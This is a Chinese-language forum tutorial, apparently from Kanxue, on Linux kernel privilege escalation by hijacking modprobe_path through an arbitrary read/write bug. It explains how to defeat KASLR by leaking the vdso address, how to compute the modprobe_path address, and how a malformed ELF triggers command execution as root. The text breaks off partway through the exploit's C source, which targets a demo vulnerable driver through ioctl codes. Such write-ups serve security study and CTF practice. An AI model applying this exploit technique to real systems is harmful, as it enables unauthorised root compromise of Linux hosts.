linux 内核提权总结(demo+exp分析) -- 任意读写(三)
发表于看雪论坛
hijack_modprobe_path篇 原理同hijack_prctl, 当用户执行错误格式的elf文件时内核调用call_usermodehelper(char *modprobe_path …)
修改modprobe后,即可实现root权限任意命令执行
攻击流程
(内核任意读写漏洞)内核修改全局变量 modprobe_path为目标指令 写入错误格式elf文件,并手动执行,触发 一. 利用步骤 1. 定位modprobe_path(开启kaslr) 同hijack_vdso,泄漏vdso地址,因为内核kaslr开启后,只有较高字节的地址发生偏移,且vdso与基地址相距较近,所以可以使用vdso定位内核加载地址
获得当前调试阶段modprobe_path与内核基地址固定偏移
modprobe_path_addr = 内核基地址+固定偏移
2. 修改modprobe_path 为任意指令 二. 驱动代码(见cred) 三. exp #define _GNU_SOURCE #include <stdio.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/auxv.h> #include <sys/prctl.h> #define CHANGE_POINT 0x100000 #define RW_READ 0x100001 #define RW_WRITE 0x100002 size_t modprobe_path = 0xe3cba0; size_t vmlinux_base = 0; struct vunl { char *point; size_t size; } VUNL; void leak_data(int fd, char *buf) { char *res = NULL; VUNL.